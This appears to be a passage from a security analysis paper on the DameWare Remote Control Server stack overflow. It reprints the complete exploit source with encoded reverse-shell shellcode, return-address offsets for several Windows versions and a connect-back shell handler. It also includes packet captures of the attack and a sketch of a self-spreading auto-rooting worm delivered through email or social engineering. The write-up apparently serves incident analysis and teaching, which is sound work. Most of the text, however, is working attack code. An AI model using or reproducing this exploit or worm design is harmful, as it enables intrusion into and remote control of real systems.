*(unsigned long*)&send_packet[516] = target_os[os_ver].sp[os_sp].eip;

memcpy(send_packet+520,kyrgyz_rshell,strlen(kyrgyz_rshell));
memcpy(send_packet+0x3d0,"neTmaNiac",9);
memcpy(send_packet+0x5b4+0x24,"netmaniac was here",18);

memcpy(send_packet+0x5b4+0x128,"12/12/04 13:13:13",17);

memcpy(send_packet+0x5b4+0x538,"netninjaz_place",15);

memcpy(send_packet+0x5b4+0x5b4+0x88,"131.131.131.131",16);

memcpy(send_packet+0x5b4+0x5b4+0x394,"3.72.0.0",strlen("3.72.0.0"));

printf("\t[ OK ]\n");

printf("[*] Connecting to %s:%s...",argv[1],argv[2]);

if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) !=
0)

{
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printf("\n[x] Connection to host failed! Exiting...\n");
WSACleanup();
exit(1);

}
printf("\t\t[ OK ]\n");

switchon=1;
ioctlsocket(sockTCP,FIONBIO,&switchon);
tv.tv_sec = RECVTIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sockTCP,&fds);

if((select(1,&fds,0,0,&tv))>0)
{

recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
}
else
{

printf("[x] Timeout! Failed to recv packet.\n");
exit(1);

}

//DumpMemory(recv_buff1,50);
memset(recv_buff1,0,sizeof(recv_buff1));

switchon=0;
ioctlsocket(sockTCP,FIONBIO,&switchon);

if (send(sockTCP, send_buff, sizeof(send_buff),0) == -1)
{

printf("[x] Failed to inject packet! Exiting...\n");
WSACleanup();

return 1;
}

switchon=1;
ioctlsocket(sockTCP,FIONBIO,&switchon);
tv.tv_sec = RECVTIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sockTCP,&fds);

if((select(sockTCP+1,&fds,0,0,&tv))>0)
{

recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
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switchon=0;
ioctlsocket(sockTCP,FIONBIO,&switchon);
if (send(sockTCP, send_packet, sizeof(send_packet),0) == -1)
{

printf("[x] Failed to inject packet2! Exiting...\n");
WSACleanup();

return 1;
}

}
else
{

printf("\n[x] Timeout! Failed to receive packet!
Exiting...\n");

WSACleanup();
return 1;

}

printf("[*] Packet injected!\n");
closesocket(sockTCP);
printf("[*] Waiting for incoming connection...\r");

switchon=1;
ioctlsocket(localSockTCP,FIONBIO,&switchon);
tv.tv_sec = ACCEPT_TIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(localSockTCP,&fds);

if((select(1,&fds,0,0,&tv))>0)
{

acsz = sizeof(inAccTCP);
accSockTCP = accept(localSockTCP,(struct sockaddr

*)&inAccTCP, &acsz);
printf("[*] Connection request accepted: %s:%d\n",

inet_ntoa(inAccTCP.sin_addr), (int)ntohs(inAccTCP.sin_port));
printf("[*] Dropping to shell...\n\n");
cmdshell(accSockTCP);

}
else
{

printf("\n[x] Exploit appears to have failed!\n");
WSACleanup();

}

return 0;
}
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The section of code below identifies the OS and Service pack. This routine checks to see
if the socket is available to inject the packet into. If the socket isn't open, an error
message is generated and the exploit program exits.

The ability to connect to the remote (vulnerable) host is also checked. If the remote
system can't be reached, the exploit program exits.

/*********************************************************************************/
int check_os(char *host,unsigned short target_port, unsigned int *sp)
{

int sockTCP,switchon;
struct sockaddr_in targetTCP;
struct timeval tv;
fd_set fds;

memset(&targetTCP,0,sizeof(targetTCP));
targetTCP.sin_family = AF_INET;

targetTCP.sin_addr.s_addr = inet_addr(host);
targetTCP.sin_port = htons(target_port);

if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{

printf("\t\t\t[ FAILED ]\n Socket1 not initialized! Exiting...\n");
WSACleanup();

return 1;
}

if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
{

printf("[x] Connection to host failed! Exiting...\n");
WSACleanup();
exit(1);

}

switchon=1;
ioctlsocket(sockTCP,FIONBIO,&switchon);
tv.tv_sec = RECVTIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sockTCP,&fds);

if((select(1,&fds,0,0,&tv))>0)
{

recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
}
else
{

printf("[x] Timeout! Doesn't appear to b a DMWRCS\n");
exit(1);

}

switchon=0;
ioctlsocket(sockTCP,FIONBIO,&switchon);

if (send(sockTCP, send_buff, sizeof(send_buff),0) == -1)
{

printf("[x] Failed to inject packet! Exiting...\n");
WSACleanup();

return 1;
}
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switchon=1;
ioctlsocket(sockTCP,FIONBIO,&switchon);
tv.tv_sec = RECVTIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sockTCP,&fds);

if((select(sockTCP+1,&fds,0,0,&tv))>0)
{

recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
closesocket(sockTCP);

}
else
{

printf("\n[x] Timeout! Failed to receive packet! Exiting...\n");
WSACleanup();

return 1;
}

printf("\n OS Info : ");
if(recv_buff1[8]==5 && recv_buff1[12]==0)
{

printf("WIN2000 [ver 5.0.%d]\n SP String : %-1.20s\n\n",*(unsigned short
*)&recv_buff1[16],&recv_buff1[24]);

*sp = atoi(&recv_buff1[37]);
closesocket(sockTCP);
return ID_WIN2K;

}
else if(recv_buff1[8]==5 && recv_buff1[12]==1)
{

printf("WINXP [ver 5.1.%d]\n SP String : %-1.20s\n\n",*(unsigned short
*)&recv_buff1[16],&recv_buff1[24]);

*sp = atoi(&recv_buff1[37]);
closesocket(sockTCP);
return ID_WINXP;

}
else if(recv_buff1[8]==5 && recv_buff1[12]==2)
{

printf("WIN2003 [ver 5.2.%d]\n SP String : %-1.20s\n\n",*(unsigned short
*)&recv_buff1[16],&recv_buff1[24]);

*sp = atoi(&recv_buff1[37]);
closesocket(sockTCP);
return ID_WIN2K3;

}
else if(recv_buff1[8]==4)
{

printf("WINNT4\n SP String : %-1.20s\n\n",&recv_buff1[24]);
*sp = atoi(&recv_buff1[37]);
closesocket(sockTCP);
return ID_WINNT;

}
else
{

printf("UNKNOWN\n");
closesocket(sockTCP);
return ID_UNKNOWN;

}

}
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This routine attempts to resolve the hostname of the target (vulnerable) machine. If it is
unable to resolve the hostname, it gives an error message and exits.

/*********************************************************************************/
long gimmeip(char *hostname)
{

struct hostent *he;
long ipaddr;

if ((ipaddr = inet_addr(hostname)) < 0)
{

if ((he = gethostbyname(hostname)) == NULL)
{

printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
WSACleanup();
exit(1);

}
memcpy(&ipaddr, he->h_addr, he->h_length);

}
return ipaddr;

}

This routine closes the command shell window.

/*********************************************************************************/
void cmdshell (int sock)
{
struct timeval tv;
int length;
unsigned long o[2];
char buffer[1000];

tv.tv_sec = 1;
tv.tv_usec = 0;

while (1)
{

o[0] = 1;
o[1] = sock;

length = select (0, (fd_set *)&o, NULL, NULL, &tv);
if(length == 1)
{

length = recv (sock, buffer, sizeof (buffer), 0);
if (length <= 0)
{

printf ("[x] Connection closed.\n");
WSACleanup();
return;

}
length = write (1, buffer, length);
if (length <= 0)
{

printf ("[x] Connection closed.\n");
WSACleanup();
return;

}
}
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else
{

length = read (0, buffer, sizeof (buffer));
if (length <= 0)
{

printf("[x] Connection closed.\n");
WSACleanup();
return;

}
length = send(sock, buffer, length, 0);
if (length <= 0)
{

printf("[x] Connection closed.\n");
WSACleanup();
return;

}
}

}

}
/*********************************************************************************/

Theoretical Attack Variations

Variations of the attack that are not yet known to exist include the addition of automation
utilities in the fashion of an “auto-rooting”worm. An auto-rooter worm could be
constructed that scans a network in search of a listening DameWare service. Once a
DameWare service is found, the auto-rooter would launch the exploit, download and use
a root kit, notify the attacker that the exploit was successful, inform the attacker of the IP
address of the system and let the attacker know the compromised system is ready to use.
The process would then repeat perhaps with a random number generator to seed the scans
or maybe the worm could take instructions over some sort of covert channel. Such a
worm could initially be released via email in the form of a zip file as many email
scanners will pass a zip file while blocking executables, doc, xls and other extensions.
The worm could also be started by walking into a computer lab similar to the one
outlined in the scenario and releasing it. Still another possibility would be to employ a
bit of social engineering and claim the worm is a really a patch or vulnerability scanner
for the initial exploit.
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Appendix A - Export from Ethereal of the packets captured during the attack.

Phase I of the attack, Frames 19-33

00000000 30 11 00 00 02 00 00 00 5c 8f c2 f5 28 5c 0d 40 0....... \.Âõ(\.@
00000010 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 ........ ........
00000020 00 00 00 00 06 00 00 00 ........
00000028 10 27 00 00 94 00 00 00 05 00 00 00 01 00 00 00 .'...... ........
00000038 28 0a 00 00 02 00 00 00 53 65 72 76 69 63 65 20 (....... Service
00000048 50 61 63 6b 20 31 00 00 00 00 00 00 00 00 00 00 Pack 1.. ........
00000058 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000068 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000FF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00001000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00001010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00001020 00 00 00 00 00 00 00 00 ........
00001028 7c 0d 00 00 00 00 00 00 46 61 69 6c 65 64 20 74 |....... Failed t
00001038 6f 20 72 65 63 65 69 76 65 20 63 6c 69 65 6e 74 o receiv e client
00001048 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0d 0a 0d informa tion....
00001058 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00001068 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

Phase II of the attack, Frames 34-51

00000000 30 11 00 00 02 00 00 00 5c 8f c2 f5 28 5c 0d 40 0....... \.Âõ(\.@
00000010 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 ........ ........
00000020 00 00 00 00 06 00 00 00 ........

00000000 30 11 00 00 00 00 00 00 c3 f5 28 5c 8f c2 0d 40 0....... Ãõ(\.Â.@
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000020 00 00 00 00 01 00 00 00 ........

00000028 10 27 00 00 94 00 00 00 05 00 00 00 01 00 00 00 .'...... ........
00000038 28 0a 00 00 02 00 00 00 53 65 72 76 69 63 65 20 (....... Service
00000048 50 61 63 6b 20 31 00 00 00 00 00 00 00 00 00 00 Pack 1..

........
00000058 00 00 00 00 00 00 00 00 00
00001010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00001020 00 00 00 00 00 00 00 00 ........

000000B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
000000C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
000000D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
000000E8 00 00 00 00 00 00 00 00 00 00 00 00 00 90 90 90 ........ ........
000000F8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000108 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000118 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000128 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000138 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000148 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000158 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000168 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000178 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000188 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000198 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000001A8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000001B8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000001C8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000001D8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000001E8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000001F8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000208 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000218 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000228 90 90 90 90 fb 7b ab 71 eb 03 5d eb 05 e8 f8 ff ....û{«q ë.]ë.èøÿ
00000238 ff ff 8b c5 83 c0 11 33 c9 66 b9 a2 01 80 30 88 ÿÿ.Å.À.3 Éf¹¢..0.
00000248 40 e2 fa dd 03 64 03 7c ee 09 64 08 88 60 ae 89 @âúÝ.d.| î.d..`®.
00000258 88 88 01 ce 74 77 fe 74 e0 06 c6 86 64 60 a3 89 ...Îtwþt à.Æ.d`£.
00000268 88 88 01 ce 64 e0 bb ba 88 88 e0 ff fb ba d7 dc ...Îdà»º ..àÿûº×Ü
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00000278 77 de 64 01 ce 70 77 fe 74 e0 25 51 8d 46 60 82 wÞd.Îpwþ tà%Q.F`.
00000288 89 88 88 01 ce 56 77 fe 74 e0 fa 76 3b 9e 60 72 ....ÎVwþ tàúv;.`r
00000298 88 88 88 01 ce 52 77 fe 74 e0 67 46 68 e8 60 62 ....ÎRwþ tàgFhè`b
000002A8 88 88 88 01 ce 5e 77 fe 70 e0 43 65 74 b3 60 52 ....Î^wþ pàCet³`R
000002B8 88 88 88 01 ce 7c 77 fe 70 e0 51 81 7d 25 60 42 ....Î|wþ pàQ.}%`B
000002C8 88 88 88 01 ce 78 77 fe 70 e0 64 71 22 e8 60 32 ....Îxwþ pàdq"è`2
000002D8 88 88 88 01 ce 60 77 fe 70 e0 6f f1 4e f1 60 22 ....Î`wþ pàoñNñ`"
000002E8 88 88 88 01 ce 6a bb 77 09 64 7c 89 88 88 dc e0 ....Îj»w .d|...Üà
000002F8 89 89 88 88 77 de 7c d8 d8 d8 d8 c8 d8 c8 d8 77 ....wÞ|Ø ØØØÈØÈØw
00000308 de 78 03 50 e0 24 98 b4 09 e0 8a 88 96 e9 03 44 Þx.Pà$.´ .à...é.D
00000318 e2 98 d9 db 77 de 60 0d 48 fd d2 e0 eb e5 ec 88 â.ÙÛwÞ`. HýÒàëåì.
00000328 01 ee 5a 0b 4c 24 05 b4 ac bb 48 bb 41 08 49 9d .îZ.L$.´ ¬»H»A.I.
00000338 23 6a 75 4e cc ac 98 cc 76 cc ac b5 76 cc ac b6 #juNÌ¬.Ì vÌ¬µvÌ¬¶
00000348 01 d4 ac c0 01 d4 ac c4 01 d4 ac d8 05 cc ac 98 .Ô¬À.Ô¬Ä .Ô¬Ø.Ì¬.
00000358 dc d8 d9 d9 d9 4e cc ac 8b 80 c9 d9 c1 d9 d9 77 ÜØÙÙÙNÌ¬ ..ÉÙÁÙÙw
00000368 fe 5a d9 77 de 52 03 44 e2 77 77 b9 77 de 56 03 þZÙwÞR.D âww¹wÞV.
00000378 40 db 77 de 6a 77 de 5e de ec 29 b8 88 88 88 03 @ÛwÞjwÞ^ Þì)¸....
00000388 c8 84 03 f8 94 25 03 c8 80 d6 4a 8c 88 db dd de È..ø.%.È .ÖJ..ÛÝÞ
00000398 df 03 e4 ac 90 03 cd b4 03 dc 8d f0 8b 5d 03 c2 ß.ä¬..Í´ .Ü.ð.].Â
000003A8 90 03 d2 a8 8b 55 6b ba c1 03 bc 03 8b 7d bb 77 ..Ò¨.Ukº Á.¼..}»w
000003B8 74 bb 48 24 b2 4c fc 8f 49 47 85 8b 70 63 7a b3 t»H$²Lü. IG..pcz³
000003C8 f4 ac 9c fd 69 03 d2 ac 8b 55 ee 03 84 c3 03 d2 ô¬.ýi.Ò¬ .Uî..Ã.Ò
000003D8 94 8b 55 03 8c 03 8b 4d 63 8a bb 48 03 5d d7 d6 ..U....M c.»H.]×Ö
000003E8 d5 d3 4a 8c 88 00 00 00 00 00 00 00 00 00 00 00 ÕÓJ..... ........
000003F8 6e 65 54 6d 61 4e 69 61 63 00 00 00 00 00 00 00 neTmaNia c.......
00000408 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

000005EC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
000005FC 00 00 00 00 6e 65 74 6d 61 6e 69 61 63 20 77 61 ....netm aniac wa
0000060C 73 20 68 65 72 65 00 00 00 00 00 00 00 00 00 00 s here.. ........
0000061C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

000006EC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
000006FC 00 00 00 00 00 00 00 00 31 32 2f 31 32 2f 30 34 ........ 12/12/04
0000070C 20 31 33 3a 31 33 3a 31 33 00 00 00 00 00 00 00 13:13:1 3.......
0000071C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

00000AFC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000B0C 00 00 00 00 00 00 00 00 6e 65 74 6e 69 6e 6a 61 ........ netninja
00000B1C 7a 5f 70 6c 61 63 65 00 00 00 00 00 00 00 00 00 z_place. ........
00000B2C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000C00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000C10 00 00 00 00 00 00 00 00 31 33 31 2e 31 33 31 2e ........ 131.131.
00000C20 31 33 31 2e 31 33 31 00 00 00 00 00 00 00 00 00 131.131. ........
00000C30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

00000F00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000F10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000F20 00 00 00 00 33 2e 37 32 2e 30 2e 30 00 00 00 00 ....3.72 .0.0....
00000F30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

Phase III

00000000 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 Microsof t Window
00000010 73 20 58 50 20 5b 56 65 72 73 69 6f 6e 20 35 2e s XP [Ve rsion 5.
00000020 31 2e 32 36 30 30 5d 1.2600]
00000027 0d 0a 28 43 29 20 43 6f 70 79 72 69 67 68 74 20 ..(C) Co pyright
00000037 31 39 38 35 2d 32 30 30 31 20 4d 69 63 72 6f 73 1985-200 1 Micros
00000047 6f 66 74 20 43 6f 72 70 2e 0d 0a 0d 0a 43 3a 5c oft Corp .....C:\
00000057 57 49 4e 44 4f 57 53 5c 73 79 73 74 65 6d 33 32 WINDOWS\ system32
00000067 3e >
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Appendix B - Source Code of the Attack Used in this Exploit

/*******************************************************************************
*
* DameWare Remote Control Server Stack Overflow Exploit
*
* Discovered by: wirepair
* Exploit by: Adik [ netmaniac (at) hotmail.KG ]
*
* Vulnerable Versions: <= 3.72.0.0
* Tested on: 3.72.0.0 Win2k SP3 & WinXp SP3
* Payload: Reverse Connect Shellcode, exits gracefully
* doesn't terminate remote process.
*
* [16/Dec/2003] Bishkek
*******************************************************************************/

#include <stdio.h>
#include <string.h>
#include <winsock.h>
//#include "netmaniac.h"
#pragma comment(lib,"ws2_32")
#define ACCEPT_TIMEOUT 10
#define RECVTIMEOUT 15

#define ID_UNKNOWN 0
#define ID_WIN2K 1
#define ID_WINXP 2
#define ID_WIN2K3 3
#define ID_WINNT 4
#define VER "0.5"
//#include "dmware.rc"

/*******************************************************************************/
unsigned char send_buff[40] = {
0x30, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC3, 0xF5, 0x28, 0x5C, 0x8F, 0xC2, 0x0D, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00
};

unsigned char kyrgyz_rshell[] = { //418
0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33,
0xC9, 0x66, 0xB9, 0xa2, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
0xDD, 0x03, 0x64, 0x03, 0x7C, 0xEE, 0x09, 0x64, 0x08, 0x88, 0x60, 0xAE, 0x89, 0x88, 0x88, 0x01,
0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xA3, 0x89, 0x88, 0x88, 0x01,
0xCE, 0x64, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 0x64,
0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0x82, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x56, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0x72, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x52, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x62, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x5E, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x52, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x42, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x64, 0x71, 0x22, 0xE8, 0x60, 0x32, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x22, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x6A, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 0x88,
0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 0x03,
0x50, 0xE0, 0x48, 0x20, 0xB7, 0x89, 0xE0, 0x8A, 0x88, 0xAA, 0x99, 0x03, 0x44, 0xE2, 0x98, 0xD9,
0xDB, 0x77, 0xDE, 0x60, 0x0D, 0x48, 0xFD, 0xD2, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x5A,
0x0B, 0x4C, 0x24, 0x05, 0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75,
0x4E, 0xCC, 0xAC, 0x98, 0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x76, 0xCC, 0xAC, 0xB6, 0x01, 0xD4, 0xAC,
0xC0, 0x01, 0xD4, 0xAC, 0xC4, 0x01, 0xD4, 0xAC, 0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9,
0xD9, 0xD9, 0x4E, 0xCC, 0xAC, 0x8B, 0x80, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 0xFE, 0x5A, 0xD9,
0x77, 0xDE, 0x52, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x56, 0x03, 0x40, 0xDB, 0x77,
0xDE, 0x6A, 0x77, 0xDE, 0x5E, 0xDE, 0xEC, 0x29, 0xB8, 0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03,
0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4,
0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2,
0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48,
0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C,
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0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55,
0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A,
0x8C, 0x88
};

/*******************************************************************************/
long gimmeip(char *hostname);
void cmdshell (int sock);
int check_os(char *host,unsigned short target_port, unsigned int *sp);

struct timeval tv;
fd_set fds;
char recv_buff1[5000]="";
/***********************-( os jmp esp offsets )-********************************/
struct sp_levels
{

unsigned long eip;
char library[20];

} ;
/*************-[ offsets grabbed from www.metasploit.com ]-*********************/
struct
{

//int sp;
//unsigned long eip;
char os_type[10];
struct sp_levels sp[7];

} target_os[]=
{

{
"UNKNOWN",{{0,""},{0,""},{0,""},{0,""},{0,""},{0,""},{0,""}}

},
{

"WIN 2000",
{{ 0x750362c3,"ws2_32.dll" },{ 0x75035173,"ws2_32.dll" },{ 0x7503431b,"ws2_32.dll" },
{ 0x77db912b,"advapi32.dll" },{ 0x7c372063,"advapi32.dll" },{ 0,"" },{ 0,"" } }

},
{

"WIN XP",
{ { 0x71ab7bfb,"ws2_32.dll" },{ 0x71ab7bfb,"ws2_32.dll" },{ 0,"" },

{ 0,"" },{ 0,"" },{ 0,"" },{ 0,"" } } //2 sp on winxp
},
{

"WIN 2003",
{{0x77db565c,"advapi32.dll"},{0,""},{0,""},{0,""},{0,""},{0,""},{0,""}}//SP 0??

},
{

"WIN NT4",
{ // only SP3 + SP 6 r filled in
{ 0x77777777,"unknown.dll" },{ 0x77777776,"unknown.dll" },{ 0x77777775,"unknown.dll" },
{ 0x77f326c6,"kernel32.dll" },{ 0x77777773,"unknown.dll" },{ 0x77777772,"unknown.dll" },
{ 0x77f32836,"kernel32.dll" }
}//6 SP

}

};
/****************************************************************************/

int main(int argc,char *argv[])
{

WSADATA wsaData;
struct sockaddr_in targetTCP, localTCP, inAccTCP;
int sockTCP,s,localSockTCP,accSockTCP, acsz,switchon;
unsigned char send_packet[4135]="";
unsigned short local_port, target_port;
unsigned long local_ip, target_ip;
unsigned int os_sp=0;
int os_ver=0;
printf("\n\t...oO DameWare Remote Control Server Overflow Exploit Oo...\n\n"

"\t\t-( by Adik netmaniac[at]hotmail.KG )-\n\n");
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printf(" - Versions vulnerable: <= DWRCS 3.72.0.0\n");
printf(" - Tested on: DWRCS ver: 3.72.0.0 Win2k SP3 & WinXP SP1\n\n");
if(argc < 4)
{

printf(" Usage: %s <TargetIP> <TargetPort> <YourIp> <YourPort>\n"
" eg: %s 10.0.0.1 6129 10.0.0.2 21\n\n",argv[0],argv[0]);

return 1;
}

WSAStartup(0x0202, &wsaData);
target_port = atoi(argv[2]);

local_port = htons((unsigned short)atoi(argv[4]));
local_ip = inet_addr(argv[3]);
local_port ^= 0x8888;
local_ip ^= 0x88888888;

*(unsigned long *)&kyrgyz_rshell[194+27] = local_ip;
*(unsigned short *)&kyrgyz_rshell[201+27] = local_port;

printf( "[*] Target IP:\t%s \tPort: %s\n"
"[*] Local IP:\t%s \tListening Port: %s\n\n",argv[1],argv[2],argv[3],argv[4]);

target_ip=gimmeip(argv[1]);
memset(&targetTCP, 0, sizeof(targetTCP));

memset(&localTCP, 0, sizeof(localTCP));

targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = target_ip;
targetTCP.sin_port = htons(target_port);

localTCP.sin_family = AF_INET;
localTCP.sin_addr.s_addr = INADDR_ANY;
localTCP.sin_port = htons((unsigned short)atoi(argv[4]));

printf("[*] Initializing sockets...");

if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{

printf("\t\t\t[ FAILED ]\n Socket1 not initialized! Exiting...\n");
WSACleanup();

return 1;
}
if ((localSockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{

printf("\t\t\t[ FAILED ]\n Socket2 not initialized! Exiting...\n");
WSACleanup();

return 1;
}
printf("\t\t\t[ OK ]\n");

printf("[*] Binding to local port: %s...",argv[4]);

if(bind(localSockTCP,(struct sockaddr *)&localTCP,sizeof(localTCP)) !=0)
{

printf("\t\t[ FAILED ]\n Failed binding to port: %s! Exiting...\n",argv[4]);
WSACleanup();

return 1;
}

printf("\t\t[ OK ]\n");
printf("[*] Setting up a listener...");
if(listen(localSockTCP,1) != 0)
{

printf("\t\t\t[ FAILED ]\nFailed to listen on port: %s! Exiting...\n",argv[4]);
WSACleanup();

return 1;
}
printf("\t\t\t[ OK ]\n");
os_ver = check_os(argv[1],(unsigned short)atoi(argv[2]),&os_sp);
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printf(" EIP: 0x%x (%s)\n\n",target_os[os_ver].sp[os_sp].eip,target_os[os_ver].sp[os_sp].library);
printf("[*] Constructing packet for %s SP: %d...",target_os[os_ver].os_type,os_sp);

memcpy(send_packet,"\x10\x27",2);
//memcpy(send_packet+500,"neTmaNiac",strlen("netmaniac"));
memset(send_packet+0xc4+9,0x90,700);

*(unsigned long*)&send_packet[516] = target_os[os_ver].sp[os_sp].eip;

